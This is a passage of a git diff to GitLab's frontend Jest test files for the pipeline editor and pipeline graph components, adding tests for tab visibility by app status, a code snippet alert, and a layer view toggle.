+ createComponent({ appStatus: EDITOR_APP_STATUS_LOADING });
});
it('displays a loading icon if the lint query is loading', () => {
@@ -108,7 +124,7 @@ describe('Pipeline editor tabs component', () => {
describe('lint tab', () => {
describe('while loading', () => {
beforeEach(() => {
- createComponent({ props: { isCiConfigDataLoading: true } });
+ createComponent({ appStatus: EDITOR_APP_STATUS_LOADING });
});
it('displays a loading icon if the lint query is loading', () => {
@@ -135,7 +151,7 @@ describe('Pipeline editor tabs component', () => {
describe('with feature flag on', () => {
describe('while loading', () => {
beforeEach(() => {
- createComponent({ props: { isCiConfigDataLoading: true } });
+ createComponent({ appStatus: EDITOR_APP_STATUS_LOADING });
});
it('displays a loading icon if the lint query is loading', () => {
@@ -143,9 +159,9 @@ describe('Pipeline editor tabs component', () => {
});
});
- describe('when `mergedYaml` is undefined', () => {
+ describe('when there is a fetch error', () => {
beforeEach(() => {
- createComponent({ props: { ciConfigData: {} } });
+ createComponent({ appStatus: EDITOR_APP_STATUS_ERROR });
});
it('show an error message', () => {
@@ -180,4 +196,24 @@ describe('Pipeline editor tabs component', () => {
});
});
});
+
+ describe('show tab content based on status', () => {
+ it.each`
+ appStatus | editor | viz | lint | merged
+ ${undefined} | ${true} | ${true} | ${true} | ${true}
+ ${EDITOR_APP_STATUS_EMPTY} | ${true} | ${false} | ${false} | ${false}
+ ${EDITOR_APP_STATUS_INVALID} | ${true} | ${false} | ${true} | ${false}
+ ${EDITOR_APP_STATUS_VALID} | ${true} | ${true} | ${true} | ${true}
+ `(
+ 'when status is $appStatus, we show - editor:$editor | viz:$viz | lint:$lint | merged:$merged ',
+ ({ appStatus, editor, viz, lint, merged }) => {
+ createComponent({ appStatus });
+
+ expect(findTextEditor().exists()).toBe(editor);
+ expect(findPipelineGraph().exists()).toBe(viz);
+ expect(findCiLint().exists()).toBe(lint);
+ expect(findMergedPreview().exists()).toBe(merged);
+ },
+ );
+ });
});
diff --git a/spec/frontend/pipeline_editor/components/ui/editor_tab_spec.js b/spec/frontend/pipeline_editor/components/ui/editor_tab_spec.js
index 291468c5229..8def83d578b 100644
--- a/spec/frontend/pipeline_editor/components/ui/editor_tab_spec.js
+++ b/spec/frontend/pipeline_editor/components/ui/editor_tab_spec.js
@@ -1,12 +1,15 @@
-import { GlTabs } from '@gitlab/ui';
+import { GlAlert, GlTabs } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import { nextTick } from 'vue';
-
import EditorTab from '~/pipeline_editor/components/ui/editor_tab.vue';
const mockContent1 = 'MOCK CONTENT 1';
const mockContent2 = 'MOCK CONTENT 2';
+const MockEditorLite = {
+ template: '<div>EDITOR</div>',
+};
+
describe('~/pipeline_editor/components/ui/editor_tab.vue', () => {
let wrapper;
let mockChildMounted = jest.fn();
@@ -37,22 +40,34 @@ describe('~/pipeline_editor/components/ui/editor_tab.vue', () => {
`,
};
- const createWrapper = () => {
+ const createMockedWrapper = () => {
wrapper = mount(MockTabbedContent);
};
+ const createWrapper = ({ props } = {}) => {
+ wrapper = mount(EditorTab, {
+ propsData: props,
+ slots: {
+ default: MockEditorLite,
+ },
+ });
+ };
+
+ const findSlotComponent = () => wrapper.findComponent(MockEditorLite);
+ const findAlert = () => wrapper.findComponent(GlAlert);
+
beforeEach(() => {
mockChildMounted = jest.fn();
});
it('tabs are mounted lazily', async () => {
- createWrapper();
+ createMockedWrapper();
expect(mockChildMounted).toHaveBeenCalledTimes(0);
});
it('first tab is only mounted after nextTick', async () => {
- createWrapper();
+ createMockedWrapper();
await nextTick();
@@ -60,6 +75,36 @@ describe('~/pipeline_editor/components/ui/editor_tab.vue', () => {
expect(mockChildMounted).toHaveBeenCalledWith(mockContent1);
});
+ describe('showing the tab content depending on `isEmpty` and `isInvalid`', () => {
+ it.each`
+ isEmpty | isInvalid | showSlotComponent | text
+ ${undefined} | ${undefined} | ${true} | ${'renders'}
+ ${false} | ${false} | ${true} | ${'renders'}
+ ${undefined} | ${true} | ${false} | ${'hides'}
+ ${true} | ${false} | ${false} | ${'hides'}
+ ${false} | ${true} | ${false} | ${'hides'}
+ `(
+ '$text the slot component when isEmpty:$isEmpty and isInvalid:$isInvalid',
+ ({ isEmpty, isInvalid, showSlotComponent }) => {
+ createWrapper({
+ props: { isEmpty, isInvalid },
+ });
+ expect(findSlotComponent().exists()).toBe(showSlotComponent);
+ expect(findAlert().exists()).toBe(!showSlotComponent);
+ },
+ );
+
+ it('can have a custom empty message', () => {
+ const text = 'my custom alert message';
+ createWrapper({ props: { isEmpty: true, emptyMessage: text } });
+
+ const alert = findAlert();
+
+ expect(alert.exists()).toBe(true);
+ expect(alert.text()).toBe(text);
+ });
+ });
+
describe('user interaction', () => {
const clickTab = async (testid) => {
wrapper.find(`[data-testid="${testid}"]`).trigger('click');
@@ -67,7 +112,7 @@ describe('~/pipeline_editor/components/ui/editor_tab.vue', () => {
};
beforeEach(() => {
- createWrapper();
+ createMockedWrapper();
});
it('mounts a tab once after selecting it', async () => {
diff --git a/spec/frontend/pipeline_editor/graphql/resolvers_spec.js b/spec/frontend/pipeline_editor/graphql/resolvers_spec.js
index 196a4133eea..f0932fc55d3 100644
--- a/spec/frontend/pipeline_editor/graphql/resolvers_spec.js
+++ b/spec/frontend/pipeline_editor/graphql/resolvers_spec.js
@@ -9,6 +9,7 @@ import {
mockDefaultBranch,
mockLintResponse,
mockProjectFullPath,
+ mockProjectBranches,
} from '../mock_data';
jest.mock('~/api', () => {
@@ -47,21 +48,20 @@ describe('~/pipeline_editor/graphql/resolvers', () => {
});
});
- describe('pipeline', () => {
- it('resolves pipeline data with type names', async () => {
- const result = await resolvers.Query.project(null);
+ describe('project', () => {
+ it('resolves project data with type names', async () => {
+ const result = await resolvers.Query.project();
// eslint-disable-next-line no-underscore-dangle
expect(result.__typename).toBe('Project');
});
- it('resolves pipeline data with necessary data', async () => {
- const result = await resolvers.Query.project(null);
- const pipelineKeys = Object.keys(result.pipeline);
- const statusKeys = Object.keys(result.pipeline.detailedStatus);
+ it('resolves project with available list of branches', async () => {
+ const result = await resolvers.Query.project();
- expect(pipelineKeys).toContain('id', 'commitPath', 'detailedStatus', 'shortSha');
- expect(statusKeys).toContain('detailsPath', 'text');
+ expect(result.repository.branches).toHaveLength(
+ mockProjectBranches.repository.branches.length,
+ );
});
});
});
diff --git a/spec/frontend/pipeline_editor/mock_data.js b/spec/frontend/pipeline_editor/mock_data.js
index 16d5ba0e714..7f651a42231 100644
--- a/spec/frontend/pipeline_editor/mock_data.js
+++ b/spec/frontend/pipeline_editor/mock_data.js
@@ -138,6 +138,20 @@ export const mergeUnwrappedCiConfig = (mergedConfig) => {
};
};
+export const mockProjectBranches = {
+ __typename: 'Project',
+ repository: {
+ __typename: 'Repository',
+ branches: [
+ { __typename: 'Branch', name: 'master' },
+ { __typename: 'Branch', name: 'main' },
+ { __typename: 'Branch', name: 'develop' },
+ { __typename: 'Branch', name: 'production' },
+ { __typename: 'Branch', name: 'test' },
+ ],
+ },
+};
+
export const mockProjectPipeline = {
pipeline: {
commitPath: '/-/commit/aabbccdd',
diff --git a/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js b/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
index 887d296222f..d8e3436479c 100644
--- a/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
+++ b/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
@@ -2,8 +2,11 @@ import { GlAlert, GlButton, GlLoadingIcon, GlTabs } from '@gitlab/ui';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
+import { TEST_HOST } from 'helpers/test_constants';
import waitForPromises from 'helpers/wait_for_promises';
import httpStatusCodes from '~/lib/utils/http_status';
+import CodeSnippetAlert from '~/pipeline_editor/components/code_snippet_alert/code_snippet_alert.vue';
+import { CODE_SNIPPET_SOURCES } from '~/pipeline_editor/components/code_snippet_alert/constants';
import CommitForm from '~/pipeline_editor/components/commit/commit_form.vue';
import TextEditor from '~/pipeline_editor/components/editor/text_editor.vue';
@@ -72,7 +75,7 @@ describe('Pipeline editor app component', () => {
});
};
- const createComponentWithApollo = ({ props = {}, provide = {} } = {}) => {
+ const createComponentWithApollo = async ({ props = {}, provide = {} } = {}) => {
const handlers = [[getCiConfigData, mockCiConfigData]];
const resolvers = {
Query: {
@@ -94,6 +97,8 @@ describe('Pipeline editor app component', () => {
};
createComponent({ props, provide, options });
+
+ return waitForPromises();
};
const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
@@ -103,6 +108,7 @@ describe('Pipeline editor app component', () => {
const findEmptyState = () => wrapper.findComponent(PipelineEditorEmptyState);
const findEmptyStateButton = () =>
wrapper.findComponent(PipelineEditorEmptyState).findComponent(GlButton);
+ const findCodeSnippetAlert = () => wrapper.findComponent(CodeSnippetAlert);
beforeEach(() => {
mockBlobContentData = jest.fn();
@@ -116,11 +122,55 @@ describe('Pipeline editor app component', () => {
wrapper.destroy();
});
- it('displays a loading icon if the blob query is loading', () => {
- createComponent({ blobLoading: true });
+ describe('loading state', () => {
+ it('displays a loading icon if the blob query is loading', () => {
+ createComponent({ blobLoading: true });
+
+ expect(findLoadingIcon().exists()).toBe(true);
+ expect(findTextEditor().exists()).toBe(false);
+ });
+ });
+
+ describe('code snippet alert', () => {
+ const setCodeSnippetUrlParam = (value) => {
+ global.jsdom.reconfigure({
+ url: `${TEST_HOST}/?code_snippet_copied_from=${value}`,
+ });
+ };
+
+ it('does not show by default', () => {
+ createComponent();
+
+ expect(findCodeSnippetAlert().exists()).toBe(false);
+ });
+
+ it.each(CODE_SNIPPET_SOURCES)('shows if URL param is %s, and cleans up URL', (source) => {
+ jest.spyOn(window.history, 'replaceState');
+ setCodeSnippetUrlParam(source);
+ createComponent();
+
+ expect(findCodeSnippetAlert().exists()).toBe(true);
+ expect(window.history.replaceState).toHaveBeenCalledWith({}, document.title, `${TEST_HOST}/`);
+ });
+
+ it('does not show if URL param is invalid', () => {
+ setCodeSnippetUrlParam('foo_bar');
+ createComponent();
+
+ expect(findCodeSnippetAlert().exists()).toBe(false);
+ });
+
+ it('disappears on dismiss', async () => {
+ setCodeSnippetUrlParam('api_fuzzing');
+ createComponent();
+ const alert = findCodeSnippetAlert();
+
+ expect(alert.exists()).toBe(true);
+
+ await alert.vm.$emit('dismiss');
- expect(findLoadingIcon().exists()).toBe(true);
- expect(findTextEditor().exists()).toBe(false);
+ expect(alert.exists()).toBe(false);
+ });
});
describe('when queries are called', () => {
@@ -131,9 +181,7 @@ describe('Pipeline editor app component', () => {
describe('when file exists', () => {
beforeEach(async () => {
- createComponentWithApollo();
-
- await waitForPromises();
+ await createComponentWithApollo();
});
it('shows pipeline editor home component', () => {
@@ -145,10 +193,6 @@ describe('Pipeline editor app component', () => {
});
it('ci config query is called with correct variables', async () => {
- createComponentWithApollo();
-
- await waitForPromises();
-
expect(mockCiConfigData).toHaveBeenCalledWith({
content: mockCiYml,
projectPath: mockProjectFullPath,
@@ -164,9 +208,7 @@ describe('Pipeline editor app component', () => {
status: httpStatusCodes.BAD_REQUEST,
},
});
- createComponentWithApollo();
-
- await waitForPromises();
+ await createComponentWithApollo();
expect(findEmptyState().exists()).toBe(true);
expect(findAlert().exists()).toBe(false);
@@ -181,9 +223,7 @@ describe('Pipeline editor app component', () => {
status: httpStatusCodes.NOT_FOUND,
},
});
- createComponentWithApollo();
-
- await waitForPromises();
+ await createComponentWithApollo();
expect(findEmptyState().exists()).toBe(true);
expect(findAlert().exists()).toBe(false);
@@ -194,8 +234,7 @@ describe('Pipeline editor app component', () => {
describe('because of a fetching error', () => {
it('shows a unkown error message', async () => {
mockBlobContentData.mockRejectedValueOnce(new Error('My error!'));
- createComponentWithApollo();
- await waitForPromises();
+ await createComponentWithApollo();
expect(findEmptyState().exists()).toBe(false);
expect(findAlert().text()).toBe(wrapper.vm.$options.errorTexts[LOAD_FAILURE_UNKNOWN]);
@@ -212,7 +251,7 @@ describe('Pipeline editor app component', () => {
},
});
- createComponentWithApollo({
+ await createComponentWithApollo({
provide: {
glFeatures: {
pipelineEditorEmptyStateAction: true,
@@ -220,8 +259,6 @@ describe('Pipeline editor app component', () => {
},
});
- await waitForPromises();
-
expect(findEmptyState().exists()).toBe(true);
expect(findTextEditor().exists()).toBe(false);
@@ -254,9 +291,9 @@ describe('Pipeline editor app component', () => {
describe('and the commit mutation fails', () => {
const commitFailedReasons = ['Commit failed'];
- beforeEach(() => {
+ beforeEach(async () => {
window.scrollTo = jest.fn();
- createComponent();
+ await createComponentWithApollo();
findEditorHome().vm.$emit('showError', {
type: COMMIT_FAILURE,
@@ -278,9 +315,9 @@ describe('Pipeline editor app component', () => {
describe('when an unknown error occurs', () => {
const unknownReasons = ['Commit failed'];
- beforeEach(() => {
+ beforeEach(async () => {
window.scrollTo = jest.fn();
- createComponent();
+ await createComponentWithApollo();
findEditorHome().vm.$emit('showError', {
type: COMMIT_FAILURE,
diff --git a/spec/frontend/pipeline_editor/pipeline_editor_home_spec.js b/spec/frontend/pipeline_editor/pipeline_editor_home_spec.js
index 9864f3c13f9..a1e3d24acfa 100644
--- a/spec/frontend/pipeline_editor/pipeline_editor_home_spec.js
+++ b/spec/frontend/pipeline_editor/pipeline_editor_home_spec.js
@@ -2,6 +2,7 @@ import { shallowMount } from '@vue/test-utils';
import { nextTick } from 'vue';
import CommitSection from '~/pipeline_editor/components/commit/commit_section.vue';
+import PipelineEditorFileNav from '~/pipeline_editor/components/file_nav/pipeline_editor_file_nav.vue';
import PipelineEditorHeader from '~/pipeline_editor/components/header/pipeline_editor_header.vue';
import PipelineEditorTabs from '~/pipeline_editor/components/pipeline_editor_tabs.vue';
import { MERGED_TAB, VISUALIZE_TAB } from '~/pipeline_editor/constants';
@@ -18,6 +19,7 @@ describe('Pipeline editor home wrapper', () => {
ciConfigData: mockLintResponse,
ciFileContent: mockCiYml,
isCiConfigDataLoading: false,
+ isNewCiConfigFile: false,
...props,
},
});
@@ -26,6 +28,7 @@ describe('Pipeline editor home wrapper', () => {
const findPipelineEditorHeader = () => wrapper.findComponent(PipelineEditorHeader);
const findPipelineEditorTabs = () => wrapper.findComponent(PipelineEditorTabs);
const findCommitSection = () => wrapper.findComponent(CommitSection);
+ const findFileNav = () => wrapper.findComponent(PipelineEditorFileNav);
afterEach(() => {
wrapper.destroy();
@@ -37,6 +40,10 @@ describe('Pipeline editor home wrapper', () => {
createComponent();
});
+ it('shows the file nav', () => {
+ expect(findFileNav().exists()).toBe(true);
+ });
+
it('shows the pipeline editor header', () => {
expect(findPipelineEditorHeader().exists()).toBe(true);
});
diff --git a/spec/frontend/pipelines/blank_state_spec.js b/spec/frontend/pipelines/blank_state_spec.js
deleted file mode 100644
index 5dcf3d267ed..00000000000
--- a/spec/frontend/pipelines/blank_state_spec.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import { getByText } from '@testing-library/dom';
-import { mount } from '@vue/test-utils';
-import BlankState from '~/pipelines/components/pipelines_list/blank_state.vue';
-
-describe('Pipelines Blank State', () => {
- const wrapper = mount(BlankState, {
- propsData: {
- svgPath: 'foo',
- message: 'Blank State',
- },
- });
-
- it('should render svg', () => {
- expect(wrapper.find('.svg-content img').attributes('src')).toEqual('foo');
- });
-
- it('should render message', () => {
- expect(getByText(wrapper.element, /Blank State/i)).toBeTruthy();
- });
-});
diff --git a/spec/frontend/pipelines/components/pipelines_list/pipeline_stage_spec.js b/spec/frontend/pipelines/components/pipelines_list/pipeline_stage_spec.js
index 60026f69b84..93bc8faa51b 100644
--- a/spec/frontend/pipelines/components/pipelines_list/pipeline_stage_spec.js
+++ b/spec/frontend/pipelines/components/pipelines_list/pipeline_stage_spec.js
@@ -11,10 +11,15 @@ const dropdownPath = 'path.json';
describe('Pipelines stage component', () => {
let wrapper;
let mock;
+ let glTooltipDirectiveMock;
const createComponent = (props = {}) => {
+ glTooltipDirectiveMock = jest.fn();
wrapper = mount(PipelineStage, {
attachTo: document.body,
+ directives: {
+ GlTooltip: glTooltipDirectiveMock,
+ },
propsData: {
stage: {
status: {
@@ -62,6 +67,10 @@ describe('Pipelines stage component', () => {
createComponent();
});
+ it('sets up the tooltip to not have a show delay animation', () => {
+ expect(glTooltipDirectiveMock.mock.calls[0][1].modifiers.ds0).toBe(true);
+ });
+
it('should render a dropdown with the status icon', () => {
expect(findDropdown().exists()).toBe(true);
expect(findDropdownToggle().exists()).toBe(true);
diff --git a/spec/frontend/pipelines/graph/action_component_spec.js b/spec/frontend/pipelines/graph/action_component_spec.js
index 6a7018fa1e5..177b026491c 100644
--- a/spec/frontend/pipelines/graph/action_component_spec.js
+++ b/spec/frontend/pipelines/graph/action_component_spec.js
@@ -3,7 +3,7 @@ import { mount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import waitForPromises from 'helpers/wait_for_promises';
import axios from '~/lib/utils/axios_utils';
-import ActionComponent from '~/pipelines/components/graph/action_component.vue';
+import ActionComponent from '~/pipelines/components/jobs_shared/action_component.vue';
describe('pipeline graph action component', () => {
let wrapper;
diff --git a/spec/frontend/pipelines/graph/graph_component_spec.js b/spec/frontend/pipelines/graph/graph_component_spec.js
index 6c3f848333c..e8fb036368a 100644
--- a/spec/frontend/pipelines/graph/graph_component_spec.js
+++ b/spec/frontend/pipelines/graph/graph_component_spec.js
@@ -1,10 +1,11 @@
import { mount, shallowMount } from '@vue/test-utils';
-import { GRAPHQL } from '~/pipelines/components/graph/constants';
+import { GRAPHQL, LAYER_VIEW, STAGE_VIEW } from '~/pipelines/components/graph/constants';
import PipelineGraph from '~/pipelines/components/graph/graph_component.vue';
import JobItem from '~/pipelines/components/graph/job_item.vue';
import LinkedPipelinesColumn from '~/pipelines/components/graph/linked_pipelines_column.vue';
import StageColumnComponent from '~/pipelines/components/graph/stage_column_component.vue';
import LinksLayer from '~/pipelines/components/graph_shared/links_layer.vue';
+import { listByLayers } from '~/pipelines/components/parsing_utils';
import {
generateResponse,
mockPipelineResponse,
@@ -17,9 +18,11 @@ describe('graph component', () => {
const findLinkedColumns = () => wrapper.findAll(LinkedPipelinesColumn);
const findLinksLayer = () => wrapper.find(LinksLayer);
const findStageColumns = () => wrapper.findAll(StageColumnComponent);
+ const findStageNameInJob = () => wrapper.find('[data-testid="stage-name-in-job"]');
const defaultProps = {
pipeline: generateResponse(mockPipelineResponse, 'root/fungi-xoxo'),
+ viewType: STAGE_VIEW,
configPaths: {
metricsPath: '',
graphqlResourceEtag: 'this/is/a/path',
@@ -81,6 +84,10 @@ describe('graph component', () => {
expect(findLinksLayer().exists()).toBe(true);
});
+ it('does not display stage name on the job in default (stage) mode', () => {
+ expect(findStageNameInJob().exists()).toBe(false);
+ });
+
describe('when column requests a refresh', () => {
beforeEach(() => {
findStageColumns().at(0).vm.$emit('refreshPipelineGraph');
@@ -92,7 +99,7 @@ describe('graph component', () => {
});
describe('when links are present', () => {
- beforeEach(async () => {
+ beforeEach(() => {
createComponent({
mountFn: mount,
stubOverride: { 'job-item': false },
@@ -131,4 +138,24 @@ describe('graph component', () => {
expect(findLinkedColumns()).toHaveLength(2);
});
});
+
+ describe('in layers mode', () => {
+ beforeEach(() => {
+ createComponent({
+ mountFn: mount,
+ stubOverride: {
+ 'job-item': false,
+ 'job-group-dropdown': false,
+ },
+ props: {
+ viewType: LAYER_VIEW,
+ pipelineLayers: listByLayers(defaultProps.pipeline),
+ },
+ });
+ });
+
+ it('displays the stage name on the job', () => {
+ expect(findStageNameInJob().exists()).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js b/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js
index 44d8e467f51..8c469966be4 100644
--- a/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js
+++ b/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js
@@ -1,11 +1,21 @@
import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
+import { mount, shallowMount } from '@vue/test-utils';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
+import { useLocalStorageSpy } from 'helpers/local_storage_helper';
import createMockApollo from 'helpers/mock_apollo_helper';
import getPipelineDetails from 'shared_queries/pipelines/get_pipeline_details.query.graphql';
+import {
+ IID_FAILURE,
+ LAYER_VIEW,
+ STAGE_VIEW,
+ VIEW_TYPE_KEY,
+} from '~/pipelines/components/graph/constants';
import PipelineGraph from '~/pipelines/components/graph/graph_component.vue';
import PipelineGraphWrapper from '~/pipelines/components/graph/graph_component_wrapper.vue';
+import GraphViewSelector from '~/pipelines/components/graph/graph_view_selector.vue';
+import StageColumnComponent from '~/pipelines/components/graph/stage_column_component.vue';
+import * as parsingUtils from '~/pipelines/components/parsing_utils';
import { mockPipelineResponse } from './mock_data';
const defaultProvide = {
@@ -17,20 +27,28 @@ const defaultProvide = {
describe('Pipeline graph wrapper', () => {
Vue.use(VueApollo);
+ useLocalStorageSpy();
let wrapper;
const getAlert = () => wrapper.find(GlAlert);
const getLoadingIcon = () => wrapper.find(GlLoadingIcon);
const getGraph = () => wrapper.find(PipelineGraph);
+ const getStageColumnTitle = () => wrapper.find('[data-testid="stage-column-title"]');
+ const getAllStageColumnGroupsInColumn = () =>
+ wrapper.find(StageColumnComponent).findAll('[data-testid="stage-column-group"]');
+ const getViewSelector = () => wrapper.find(GraphViewSelector);
const createComponent = ({
apolloProvider,
data = {},
- provide = defaultProvide,
+ provide = {},
mountFn = shallowMount,
} = {}) => {
wrapper = mountFn(PipelineGraphWrapper, {
- provide,
+ provide: {
+ ...defaultProvide,
+ ...provide,
+ },
apolloProvider,
data() {
return {
@@ -40,13 +58,15 @@ describe('Pipeline graph wrapper', () => {
});
};
- const createComponentWithApollo = (
+ const createComponentWithApollo = ({
getPipelineDetailsHandler = jest.fn().mockResolvedValue(mockPipelineResponse),
- ) => {
+ mountFn = shallowMount,
+ provide = {},
+ } = {}) => {
const requestHandlers = [[getPipelineDetails, getPipelineDetailsHandler]];
const apolloProvider = createMockApollo(requestHandlers);
- createComponent({ apolloProvider });
+ createComponent({ apolloProvider, provide, mountFn });
};
afterEach(() => {
@@ -100,7 +120,9 @@ describe('Pipeline graph wrapper', () => {
describe('when there is an error', () => {
beforeEach(async () => {
- createComponentWithApollo(jest.fn().mockRejectedValue(new Error('GraphQL error')));
+ createComponentWithApollo({
+ getPipelineDetailsHandler: jest.fn().mockRejectedValue(new Error('GraphQL error')),
+ });
jest.runOnlyPendingTimers();
await wrapper.vm.$nextTick();
});
@@ -118,6 +140,31 @@ describe('Pipeline graph wrapper', () => {
});
});
+ describe('when there is no pipeline iid available', () => {
+ beforeEach(async () => {
+ createComponentWithApollo({
+ provide: {
+ pipelineIid: '',
+ },
+ });
+ jest.runOnlyPendingTimers();
+ await wrapper.vm.$nextTick();
+ });
+
+ it('does not display the loading icon', () => {
+ expect(getLoadingIcon().exists()).toBe(false);
+ });
+
+ it('displays the no iid alert', () => {
+ expect(getAlert().exists()).toBe(true);
+ expect(getAlert().text()).toBe(wrapper.vm.$options.errorTexts[IID_FAILURE]);
+ });
+
+ it('does not display the graph', () => {
+ expect(getGraph().exists()).toBe(false);
+ });
+ });
+
describe('when refresh action is emitted', () => {
beforeEach(async () => {
createComponentWithApollo();
@@ -154,7 +201,7 @@ describe('Pipeline graph wrapper', () => {
.mockResolvedValueOnce(mockPipelineResponse)
.mockResolvedValueOnce(errorData);
- createComponentWithApollo(failSucceedFail);
+ createComponentWithApollo({ getPipelineDetailsHandler: failSucceedFail });
await wrapper.vm.$nextTick();
});
@@ -174,4 +221,113 @@ describe('Pipeline graph wrapper', () => {
expect(getGraph().exists()).toBe(true);
});
});
+
+ describe('view dropdown', () => {
+ describe('when pipelineGraphLayersView feature flag is off', () => {
+ beforeEach(async () => {
+ createComponentWithApollo();
+ jest.runOnlyPendingTimers();
+ await wrapper.vm.$nextTick();
+ });
+
+ it('does not appear', () => {
+ expect(getViewSelector().exists()).toBe(false);
+ });
+ });
+
+ describe('when pipelineGraphLayersView feature flag is on', () => {
+ let layersFn;
+ beforeEach(async () => {
+ layersFn = jest.spyOn(parsingUtils, 'listByLayers');
+ createComponentWithApollo({
+ provide: {
+ glFeatures: {
+ pipelineGraphLayersView: true,
+ },
+ },
+ mountFn: mount,
+ });
+
+ jest.runOnlyPendingTimers();
+ await wrapper.vm.$nextTick();
+ });
+
+ it('appears when pipeline uses needs', () => {
+ expect(getViewSelector().exists()).toBe(true);
+ });
+
+ it('switches between views', async () => {
+ const groupsInFirstColumn =
+ mockPipelineResponse.data.project.pipeline.stages.nodes[0].groups.nodes.length;
+ expect(getAllStageColumnGroupsInColumn()).toHaveLength(groupsInFirstColumn);
+ expect(getStageColumnTitle().text()).toBe('Build');
+ await getViewSelector().vm.$emit('updateViewType', LAYER_VIEW);
+ expect(getAllStageColumnGroupsInColumn()).toHaveLength(groupsInFirstColumn + 1);
+ expect(getStageColumnTitle().text()).toBe('');
+ });
+
+ it('saves the view type to local storage', async () => {
+ await getViewSelector().vm.$emit('updateViewType', LAYER_VIEW);
+ expect(localStorage.setItem.mock.calls).toEqual([[VIEW_TYPE_KEY, LAYER_VIEW]]);
+ });
+
+ it('calls listByLayers only once no matter how many times view is switched', async () => {
+ expect(layersFn).not.toHaveBeenCalled();
+ await getViewSelector().vm.$emit('updateViewType', LAYER_VIEW);
+ expect(layersFn).toHaveBeenCalledTimes(1);
+ await getViewSelector().vm.$emit('updateViewType', STAGE_VIEW);
+ await getViewSelector().vm.$emit('updateViewType', LAYER_VIEW);
+ await getViewSelector().vm.$emit('updateViewType', STAGE_VIEW);
+ expect(layersFn).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('when feature flag is on and local storage is set', () => {
+ beforeEach(async () => {
+ localStorage.setItem(VIEW_TYPE_KEY, LAYER_VIEW);
+
+ createComponentWithApollo({
+ provide: {
+ glFeatures: {
+ pipelineGraphLayersView: true,
+ },
+ },
+ mountFn: mount,
+ });
+
+ jest.runOnlyPendingTimers();
+ await wrapper.vm.$nextTick();
+ });
+
+ it('reads the view type from localStorage when available', () => {
+ expect(wrapper.find('[data-testid="pipeline-view-selector"] code').text()).toContain(
+ 'needs:',
+ );
+ });
+ });
+
+ describe('when feature flag is on but pipeline does not use needs', () => {
+ beforeEach(async () => {
+ const nonNeedsResponse = { ...mockPipelineResponse };
+ nonNeedsResponse.data.project.pipeline.usesNeeds = false;
+
+ createComponentWithApollo({
+ provide: {
+ glFeatures: {
+ pipelineGraphLayersView: true,
+ },
+ },
+ mountFn: mount,
+ getPipelineDetailsHandler: jest.fn().mockResolvedValue(nonNeedsResponse),
+ });
+
+ jest.runOnlyPendingTimers();
+ await wrapper.vm.$nextTick();
+ });
+
+ it('does not appear when pipeline does not use needs', () => {
+ expect(getViewSelector().exists()).toBe(false);
+ });
+ });
+ });
});
diff --git a/spec/frontend/pipelines/graph/job_group_dropdown_spec.js b/spec/frontend/pipelines/graph/job_group_dropdown_spec.js
index b323e1d8a06..5d8e70bac31 100644
--- a/spec/frontend/pipelines/graph/job_group_dropdown_spec.js
+++ b/spec/frontend/pipelines/graph/job_group_dropdown_spec.js
@@ -1,4 +1,4 @@
-import { shallowMount } from '@vue/test-utils';
+import { shallowMount, mount } from '@vue/test-utils';
import JobGroupDropdown from '~/pipelines/components/graph/job_group_dropdown.vue';
describe('job group dropdown component', () => {
@@ -65,12 +65,16 @@ describe('job group dropdown component', () => {
let wrapper;
const findButton = () => wrapper.find('button');
+ const createComponent = ({ mountFn = shallowMount }) => {
+ wrapper = mountFn(JobGroupDropdown, { propsData: { group } });
+ };
+
afterEach(() => {
wrapper.destroy();
});
beforeEach(() => {
- wrapper = shallowMount(JobGroupDropdown, { propsData: { group } });
+ createComponent({ mountFn: mount });
});
it('renders button with group name and size', () => {
diff --git a/spec/frontend/pipelines/graph/job_item_spec.js b/spec/frontend/pipelines/graph/job_item_spec.js
index cb2837cbb39..4c7ea5edda9 100644
--- a/spec/frontend/pipelines/graph/job_item_spec.js
+++ b/spec/frontend/pipelines/graph/job_item_spec.js
@@ -122,7 +122,7 @@ describe('pipeline graph job item', () => {
},
});
- expect(wrapper.find('.js-job-component-tooltip').attributes('title')).toBe('test');
+ expect(findJobWithoutLink().attributes('title')).toBe('test');
});
it('should not render status label when it is provided', () => {
@@ -138,7 +138,7 @@ describe('pipeline graph job item', () => {
},
});
- expect(wrapper.find('.js-job-component-tooltip').attributes('title')).toBe('test - success');
+ expect(findJobWithoutLink().attributes('title')).toBe('test - success');
});
});
diff --git a/spec/frontend/pipelines/graph/job_name_component_spec.js b/spec/frontend/pipelines/graph/job_name_component_spec.js
index 658b5be87d4..d3008c046e8 100644
--- a/spec/frontend/pipelines/graph/job_name_component_spec.js
+++ b/spec/frontend/pipelines/graph/job_name_component_spec.js
@@ -1,5 +1,5 @@
import { mount } from '@vue/test-utils';
-import jobNameComponent from '~/pipelines/components/graph/job_name_component.vue';
+import jobNameComponent from '~/pipelines/components/jobs_shared/job_name_component.vue';
import ciIcon from '~/vue_shared/components/ci_icon.vue';
describe('job name component', () => {
diff --git a/spec/frontend/pipelines/graph/linked_pipelines_column_spec.js b/spec/frontend/pipelines/graph/linked_pipelines_column_spec.js
index 4c72dad735e..8aecfc1b649 100644
--- a/spec/frontend/pipelines/graph/linked_pipelines_column_spec.js
+++ b/spec/frontend/pipelines/graph/linked_pipelines_column_spec.js
@@ -2,10 +2,17 @@ import { mount, shallowMount, createLocalVue } from '@vue/test-utils';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import getPipelineDetails from 'shared_queries/pipelines/get_pipeline_details.query.graphql';
